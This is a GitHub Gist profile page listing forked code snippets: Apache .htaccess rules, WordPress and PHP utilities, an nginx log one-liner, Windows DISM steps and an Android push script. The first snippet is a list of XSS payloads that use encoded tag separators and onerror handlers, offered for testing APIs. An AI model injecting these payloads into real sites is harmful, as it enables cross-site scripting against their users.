Skip to content

Instantly share code, notes, and snippets.

View dexit's full-sized avatar
🎯
Focusing

Rihards Mantejs dexit

🎯
Focusing
View GitHub Profile
@dexit
dexit / 666_lines_of_XSS_vectors.html
Created April 24, 2016 10:52 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@dexit
dexit / .htaccess
Created April 24, 2016 17:56 — forked from ludo237/.htaccess
The ultimate .htaccess file. Please feel free to fork it, edit it and let me know what do you think about it.
# Apache configuration file
# httpd.apache.org/docs/2.2/mod/quickreference.html
# Note .htaccess files are an overhead, this logic should be in your Apache
# config if possible: httpd.apache.org/docs/2.2/howto/htaccess.html
# Techniques in here adapted from all over, including:
# Kroc Camen: camendesign.com/.htaccess
# perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/
# Sample .htaccess file of CMS MODx: modxcms.com
# This is the free sample of .htaccess from 6GO s.r.l.
# @author Claudio Ludovico Panetta (@Ludo237)
@dexit
dexit / Accordion Grid for JointsWP 4
Created April 24, 2016 18:11 — forked from JeremyEnglert/Accordion Grid for JointsWP 4
Use an "Accordion Archive" with JointsWP
<?php get_header(); ?>
<div id="content">
<div id="inner-content" class="row">
<main id="main" class="large-8 medium-8 columns" role="main">
<ul class="accordion" data-accordion role="tablist">
@dexit
dexit / gist:61717f1e593c65c6e7a8c2b3b0182ded
Created April 26, 2016 18:27 — forked from loisaidasam/gist:2774350
One liner for counting unique IP addresses from nginx logs
# One liner for counting unique IP addresses from nginx logs
# Feel free to comment with better ideas - I'm sure it's not the best way of doing this (I'm no awk ninja!)
#
# Sample output:
#
# $ cat example.com.access.log | awk -F " " '{a[$1]++ } END { for (b in a) { print b, "\t", a[b] } }'
# 66.65.145.220 49
# 92.63.28.68 126
cat example.com.access.log | awk -F " " '{a[$1]++ } END { for (b in a) { print b, "\t", a[b] } }'
@dexit
dexit / data.php
Created July 25, 2017 06:34 — forked from jjb3rd/data.php
An updated server-side processing script for DataTables
<?php
/*
* Script: DataTables server-side script for PHP and MySQL
* Copyright: 2012 - John Becker, Beckersoft, Inc.
* Copyright: 2010 - Allan Jardine
* License: GPL v2 or BSD (3-point)
*/
class TableData {
A. Create Installation DVD ISO Via Dism:
1. Extract Win 10 Enterprise version of the mirror sources folder install.wim to D drive temp directory
2. In the temp directory to create WimMount folder, and execute the following command to mount the wim file
Dism /Mount-Wim /WimFile:D:\temp\install.wim /Index:1 /MountDir:D:\temp\WimMount
3. Show the current version
Dism /Image:D:\temp\WimMount /Get-CurrentEdition
4. Show current version
Dism /Image:D:\temp\WimMount /Get-TargetEditions
@dexit
dexit / vanilla-api.md
Created April 15, 2018 14:09
Building a Simple Web API with Vanilla PHP
@dexit
dexit / PHP-Recursive-Implosion.php
Created April 20, 2018 06:47 — forked from jimmygle/PHP-Recursive-Implosion.php
PHP function to recursively implode multi-dimensional arrays.
<?php
/**
* Recursively implodes an array with optional key inclusion
*
* Example of $include_keys output: key, value, key, value, key, value
*
* @access public
* @param array $array multi-dimensional array to recursively implode
* @param string $glue value that glues elements together
@dexit
dexit / DatabaseUtils.php
Created May 9, 2018 08:51 — forked from bencentra/DatabaseUtils.php
Revised version of db_utils.php, refactored as a PHP class.
<?php
/*
* DatabaseUtils.php - A class of simple database utilities.
*
* Performs CRUD operations using PDO (MySQL) prepared statements.
*
* Author: bencentra (https://gist.github.com/bencentra/92228e1f4139436c4153)
*/
@dexit
dexit / gist:b74b2533e80145b505b0b711158e6c03
Created May 29, 2018 19:09 — forked from prime31/gist:5675017
Simple PHP script showing how to send an Android push notification. Be sure to replace the API_ACCESS_KEY with a proper one from the Google API's Console page. To use the script, just call scriptName.php?id=THE_DEVICE_REGISTRATION_ID
<?php
// API access key from Google API's Console
define( 'API_ACCESS_KEY', 'YOUR-API-ACCESS-KEY-GOES-HERE' );
$registrationIds = array( $_GET['id'] );
// prep the bundle
$msg = array